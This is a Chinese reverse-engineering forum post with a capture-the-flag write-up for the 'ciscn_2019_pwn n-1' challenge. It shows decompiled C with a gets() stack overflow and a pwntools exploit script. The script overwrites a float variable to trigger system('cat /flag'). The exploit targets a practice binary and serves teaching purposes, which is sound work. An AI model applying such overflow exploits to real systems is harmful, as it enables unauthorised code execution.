学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

229

积分

0

好友

6

主题
发表于 2020-11-19 18:09:32 | 查看: 2431| 回复: 1

相关题目:

♦ n-1

思路:
gets()存在栈溢出漏洞,尝试覆盖v2的值为11.28125

注意:
需要将float转换成hex


exp:
#-*- coding:utf-8 -*-
"""
// ciscn_2019_pwn_n-1 https://www.xuenixiang.com/ctfexercise-competition-416.html

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}

int func()
{
  int result; // eax
  char v1; // [rsp+0h] [rbp-30h]
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(&v1);
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}
"""

from pwn import *
import sys

context(os="linux", log_level="debug")

def float_to_hex(f):
    return hex(struct.unpack('<I', struct.pack('<f', f))[0])

if len(sys.argv) == 2:
        p = process(sys.argv[1])
elif len(sys.argv) == 3:
        p = remote(sys.argv[1], sys.argv[2])
else:
    print("Usage: exp.py [./a.out | 1.1.1.1 23456]")
    exit(1)

p.recvuntil("Let's guess the number.\n")

# 0x41348000 = float_to_hex(11.28125)
payload = 'A' * 44 + "\x00\x80\x34\x41"

p.sendline(payload)

p.interactive()


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
发表于 2020-11-20 09:46:21
很不错!继续努力,如果有需要,可以自己编译好题目提交平台,我可以帮你做成镜像保存,以后随时可以拿来实验

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-3-28 19:57 , Processed in 0.163319 second(s), 39 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表